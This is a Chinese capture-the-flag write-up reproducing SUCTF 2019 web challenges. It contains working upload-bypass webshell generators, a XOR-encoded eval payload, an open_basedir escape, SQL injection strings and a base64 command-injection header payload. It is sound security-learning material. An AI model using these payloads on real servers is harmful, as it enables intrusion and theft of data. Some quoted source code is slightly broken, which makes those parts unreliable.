前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SUCTF web 赛后复现总结

SUCTF web 赛后复现总结

作者头像
p4nda
发布2023-01-03 13:52:34
6430
发布2023-01-03 13:52:34
举报
文章被收录于专栏:技术猫屋

0x01 CheckIn

这题docker 报错不能复现(估计主办方提供的不是运行后的 docker 文件),因此简单整理下思路。 这题是应该是仿Insomnihack 2019思路出的题。在这题里,符合以下情况均 failed:

  • <?是否包含在文件内容中
  • 如果文件只有扩展名(像 .htaccess, .txt)
  • 文件不允许的扩展名
  • 无法经过exif_imagetype的检验
  • getimagesize不返回1337 * 1337

具体如何绕过就不在本文赘述,具体可以见:https://thibaudrobin.github.io/articles/bypass-filter-upload/

回到本题,本题没有那么多限制,但是与Insomnihack 2019不同的是,他使用的是 Apache 的.htaccess特性,而本题使用的 NGINX 的 .user.ini 如果看了上文那个链接的朋友,应该明白 如何去做这一题了,就是通过.user.ini来构造后门,通过.user.ini中配置的“特殊文件”,来执行自己的想要的命令,流程如下:

  • 上传.user.ini文件,通过auto_append_file、auto_prepend_file等参数来构造一个可执行的文件,如png/jpg/gif文件
  • 再上传所构造的png/jpg/gif文件,文件中包含可执行php代码,如:
代码语言:javascript
复制
<script language="php"> system("ls")</script>

当然,要注意的是要绕过exif_imag的检验

  • 最后就可以通过所上传的图片文件来执行 system 命令了

0x02 EasyPHP

这题同样官方给的docker有问题,没部署起来。直接看思路吧

代码语言:javascript
复制
<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

题目的源码已经给我们了,想拿到 flag 的思路很清楚,就是通过 _的 get 请求,绕过正则过滤,执行 get_the_flag()函数来拿到 flag

但是关键就是应该如何去绕过这个正则:

代码语言:javascript
复制
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

除此之外,还有长度限制:

代码语言:javascript
复制
if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}
代码语言:javascript
复制
if(strlen($character_type)>12) die("Almost there!");

长度且不谈,先看看如何去绕过正则,可以写一个 Php 脚本自动去复制fuzzing,看看有哪些字符可用:

代码语言:javascript
复制
<?php
    
    $fuzzing_str_urldecode = array();
    $fuzzing_str_urlencode = array();
    for ($ascii = 0; $ascii < 256; $ascii++) {
        
        if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($ascii))) {
            $fuzzing_str_urldecode[] = chr($ascii).' ';
            $fuzzing_str_urlencode[] = urlencode(chr($ascii)).' ';
        }
    }
    print_r(implode($fuzzing_str_urldecode) );
    echo '<br>';
    print_r(implode($fuzzing_str_urlencode));
?>

运行结果:

可用字符如下:

代码语言:javascript
复制
! # $ % ( ) * + - / : ; < > ? @ \ ] ^ { } � � � � � �
代码语言:javascript
复制
%80 %81 %82 %83 %84 %85 %86 %87 %88 %89 %8A %8B %8C %8D %8E %8F %90 %91 %92 %93 %94 %95 %96 %97 %98 %99 %9A %9B %9C %9D %9E %9F %A0 %A1 %A2 %A3 %A4 %A5 %A6 %A7 %A8 %A9 %AA %AB %AC %AD %AE %AF %B0 %B1 %B2 %B3 %B4 %B5 %B6 %B7 %B8 %B9 %BA %BB %BC %BD %BE %BF %C0 %C1 %C2 %C3 %C4 %C5 %C6 %C7 %C8 %C9 %CA %CB %CC %CD %CE %CF %D0 %D1 %D2 %D3 %D4 %D5 %D6 %D7 %D8 %D9 %DA %DB %DC %DD %DE %DF %E0 %E1 %E2 %E3 %E4 %E5 %E6 %E7 %E8 %E9 %EA %EB %EC %ED %EE %EF %F0 %F1 %F2 %F3 %F4 %F5 %F6 %F7 %F8 %F9 %FA %FB %FC %FD %FE %FF

因此要利用以上 fuzzing 出来的字符,组成 _GET,然后通过_GET来执行get_the_flag 函数,fuzzing脚本如下: 首先在本地搭建一个fuzzing.php文件:

代码语言:javascript
复制
<?php
    $_ = $_GET['a'] ^ $_GET['b'];
    //为什么是^
    //可以参考:https://www.smi1e.top/php%E4%B8%8D%E4%BD%BF%E7%94%A8%E6%95%B0%E5%AD%97%E5%AD%97%E6%AF%8D%E5%92%8C%E4%B8%8B%E5%88%92%E7%BA%BF%E5%86%99shell/
    if($_ == '_GET')
        print_r('Success:'.urlencode($_GET['a']).' ^ '.urlencode($_GET['b']));
?>

然后写一个 python 脚本再去fuzzing:

代码语言:javascript
复制
#!/usr/bin/env python
#encoding=utf-8

import requests
import itertools
import urllib
from bs4 import BeautifulSoup

def request_get(url,get_a,get_b):
    url = url + '?a=%s&b=%s' % (get_a,get_b)
    r = requests.get(url)
    find_msg = BeautifulSoup(r.text, "html.parser")
    str = "ERROR"
    if str in find_msg:
        #print (r.url)
        re = 0
    else:
        print (r.url)
        re = r.text

    return re

def fuzz_get_a():
    ascii = ['%21','%23','%24','%25','%28','%29','%2A','%2B','-','%2F','%3A','%3B','%3C','%3E','%3F','%40','%5C','%5D','%5E','%7B','%7D','%80','%81','%82','%83','%84','%85','%86','%87','%88','%89','%8A','%8B','%8C','%8D','%8E','%8F','%90','%91','%92','%93','%94','%95','%96','%97','%98','%99','%9A','%9B','%9C','%9D','%9E','%9F','%A0','%A1','%A2','%A3','%A4','%A5','%A6','%A7','%A8','%A9','%AA','%AB','%AC','%AD','%AE','%AF','%B0','%B1','%B2','%B3','%B4','%B5','%B6','%B7','%B8','%B9','%BA','%BB','%BC','%BD','%BE','%BF','%C0','%C1','%C2','%C3','%C4','%C5','%C6','%C7','%C8','%C9','%CA','%CB','%CC','%CD','%CE','%CF','%D0','%D1','%D2','%D3','%D4','%D5','%D6','%D7','%D8','%D9','%DA','%DB','%DC','%DD','%DE','%DF','%E0','%E1','%E2','%E3','%E4','%E5','%E6','%E7','%E8','%E9','%EA','%EB','%EC','%ED','%EE','%EF','%F0','%F1','%F2','%F3','%F4','%F5','%F6','%F7','%F8','%F9','%FA','%FB','%FC','%FD','%FE','%FF']
    result_a = list(map(lambda x:''.join(x), itertools.permutations(ascii, 4)))
    return result_a


def fuzz_get_b():
    ascii =  ['%21','%23','%24','%25','%28','%29','%2A','%2B','-','%2F','%3A','%3B','%3C','%3E','%3F','%40','%5C','%5D','%5E','%7B','%7D','%80','%81','%82','%83','%84','%85','%86','%87','%88','%89','%8A','%8B','%8C','%8D','%8E','%8F','%90','%91','%92','%93','%94','%95','%96','%97','%98','%99','%9A','%9B','%9C','%9D','%9E','%9F','%A0','%A1','%A2','%A3','%A4','%A5','%A6','%A7','%A8','%A9','%AA','%AB','%AC','%AD','%AE','%AF','%B0','%B1','%B2','%B3','%B4','%B5','%B6','%B7','%B8','%B9','%BA','%BB','%BC','%BD','%BE','%BF','%C0','%C1','%C2','%C3','%C4','%C5','%C6','%C7','%C8','%C9','%CA','%CB','%CC','%CD','%CE','%CF','%D0','%D1','%D2','%D3','%D4','%D5','%D6','%D7','%D8','%D9','%DA','%DB','%DC','%DD','%DE','%DF','%E0','%E1','%E2','%E3','%E4','%E5','%E6','%E7','%E8','%E9','%EA','%EB','%EC','%ED','%EE','%EF','%F0','%F1','%F2','%F3','%F4','%F5','%F6','%F7','%F8','%F9','%FA','%FB','%FC','%FD','%FE','%FF']
    result_b = list(map(lambda x:''.join(x), itertools.permutations(ascii,4)))
    return result_b

if __name__ == "__main__":
    url = http://localhost/day/test/fuzzing.php
    get_a = fuzz_get_a()
    get_b = fuzz_get_b()
    for k in range(1,200000000):
        for t in range(1,200000000):
            request_get(url,get_a[k],get_b[t])

脚本写的比较烂,跑了不少时间没跑出来 _GET,后来减少字符数量,把get_a[k]设置为定值,fuzzing出来了结果:

代码语言:javascript
复制
_GET:
%FA%FA%FA%FA ^ %A5%BD%BF%AE
%FB%FB%FB%FB ^ %A4%BC%BE%AF
%FE%FE%FE%FE ^ %A1%B9%BB%AA
%FF%FF%FF%FF ^ %A0%B8%BA%AB

同时这里也给一个_POST 的表达式:

代码语言:javascript
复制
_POST:
%A0%A0%A0%A0%A0^%FF%F0%EF%F3%F4

后来@z3r0yu 表哥扔来了 ChaMd5 团队WP 中的脚本:

代码语言:javascript
复制
<?php
function gen($pl) {
 $aa = "";
 $bb = "";
 for ($j = 0; $j < strlen($pl); $j++) {
  for ($i = 0xa0; $i < 0xff; $i++) {
   if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($i)) == 0) {
    $t = chr($i) ^ $pl[$j];
    if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $t) == 0) {
     $aa .= chr($i);
     $bb .= $t;
     break;
    }
   }
  }
 }
 return str_replace("%", "\x", urlencode($aa) . "^" . urlencode($bb) . "\r\n");
}
echo "_GET\r\n";
echo gen("_GET");
echo "_POST\r\n";
echo gen("_POST");

直接生成……学到了

到这里第一步算是过去了,接下来可以利用这些字符串来执行命令了,payload 如下:

代码语言:javascript
复制
${%FA%FA%FA%FA^%A5%BD%BF%AE}{%FA}();&%FA=get_the_flag

然后就是上传,这里的上传利用了# 0x01 CheckIn中说的.htaccess上传特性,主要思路如下:

利用一下脚本生成.htaccess文件和可利用后门文件:

代码语言:javascript
复制
#!/usr/bin/python3

# Will prove the file is a legit xbitmap file and the size is 1337x1337
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):
    phpfile = open(filename, 'wb') 

    phpfile.write(script.encode('utf-16be'))
    phpfile.write(SIZE_HEADER)

    phpfile.close()

def generate_htacess():
    htaccess = open('.htaccess', 'wb')

    htaccess.write(SIZE_HEADER)
    htaccess.write(b'AddType application/x-httpd-php .php16\n')
    htaccess.write(b'php_value zend.multibyte 1\n')
    htaccess.write(b'php_value zend.detect_unicode 1\n')
    htaccess.write(b'php_value display_errors 1\n')

    htaccess.close()
        
generate_htacess()

generate_php_file("shell.south", "<?php eval($_GET['cmd']); die(); ?>")

运行以后,会在当前目录下生成两个文件,一个是.htaccess,一个是shell.south

然后就可以利用shell.south文件愉快的执行命令了,但是发现系统开了`open_basedir ,无法直接使用ls`命令列目录

但是同样可以 bypass:

https://skysec.top/2019/06/10/2019%200ctf%20final%20Web%20Writeup%EF%BC%881%EF%BC%89/

于是最后的payload如下:

代码语言:javascript
复制
http://xxx.xxx.xxx.xxx/upload/tmp_xxxxxxxxxxxxxxxxxxxxxxxx/shell.south?cmd=chdir('/tmp');mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('pen_basedir','/');var_dump(ini_get('open_basedir'));var_dump(glob('*'));

通过这个慢慢找 flag 存在的位置,然后读取就可以了

0x03 Pythonginx

这题为2019US blackhat议题之一HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization

下载地址:https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf

如果想要全部的会议内容文件,可以看这里:https://forum.90sec.com/t/topic/298

这个是HostSplit文章中主要想说的,当URL 中出现一些特殊字符的时候,输出的结果可能不在预期,作者给我们提供了一些字符:

剩下的工作就是我们去 FUZZING 可用的字符,然后读取 NGINX 的配置文件,再去找 flag。

具体过程就不在赘述了,有兴趣的朋友可以看看官网 writeup 或者一些队伍的 WriteUp(见参考)

0x04 easy_sql

直接看源码:

代码语言:javascript
复制
<?php
    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
    ?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

    ?>

观察到 SQL 的语句是这样的:

代码语言:javascript
复制
$sql = "select ".$post['query']."||flag from Flag";

因此可以构造以下语句:

代码语言:javascript
复制
Select *,1 || flag from Flag

相当于是从 flag 表中查询所有字段了,因此直接爆出 flag

后来看了官方 WP,发现这个其实是非预期,官方的思路是在sql_mode,可以通过将其值设置为PIPE_AS_CONCAT改变||的作用为拼接字符串,所以随便输入一串字符串便能返回该字符串与FLAG拼接的内容,官方给出的 payload 如下:

代码语言:javascript
复制
1;set sql_mode=pipes_as_concat;select 1

0x05 Cocktail's Remix

本题官方没有提供复现的源码,因此整理主要思路。 本题有一个任意文件下载漏洞

代码语言:javascript
复制
http://47.111.59.243:9016/download.php?filename=xxxxx

可以下载到配置文件,最后可以在info.php文件中找到与题目名相关的扩展:mod_Cocktail

逆向该文件后可以得到以下结果:

  • 获取Reffer头的内容
  • 将 Reffer内容传入j_remix后的字符串拿去popen
  • j_remix会将字符串解码 base64

因此利用点就在Header 中的 Reffer 部分,将 payload base64 加密后,即可执行,payload 如下:

代码语言:javascript
复制
bXlzcWwgLWggTXlzcWxTZXJ2ZXIgLXUgZGJhIC1wck5oSG1tTmtOM3h1NE1CWWhtIC1lICdzZWxlY3QgKiBmcm9tICBmbGFnLmZsYWc7Jw==

0x06 其他

还有Upload labs 2和iCloudMusic两题没有整理,这两题可以拓展的内容比较多,后续慢慢总结,总结好了发上来吧。 另外说一点题外话,感觉打 CTF 的意义就是在于学到啥,而不是在于取得了啥名次,因为 CTF 的题目很新颖,有时候还会结合最新的安全知识,这个对于学习安全是非常有帮助的。

0x07 参考

SUCTF 2019 官方 Write up https://team-su.github.io/passages/2019-08-22-SUCTF/?nsukey=3hbB1nNVK8IOJb1BedTGPG2ZmZsVZwVxyHIoT%2BEaiqr7iGJc9ZxKpkPOIMSxOhBkNTwNVpDNWGQLpvROOeYEjivFGK8y36eLHC4EWM1RB6w0%2Fpe%2Bae%2BPfkEStMCcErpksCMm9FzZmL5no%2FsFtcPnBucUAgZ8f%2B4IMJ2r45IUfrZFUWlCIwxLg2RXbyUds%2FuwJYg8AYKcd%2BY%2ByypJBBB5XA%3D%3D

SUCTF 2019 Writeup — De1ta

SUCTF-WriteUp(上) -ChaMd5 团队 https://mp.weixin.qq.com/s/bgWwPPjFsiviFxMgNxjUIg

SUCTF 源码 https://github.com/team-su/SUCTF-2019

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-08-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 CheckIn
  • 0x02 EasyPHP
  • 0x03 Pythonginx
  • 0x04 easy_sql
  • 0x05 Cocktail's Remix
  • 0x06 其他
  • 0x07 参考
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档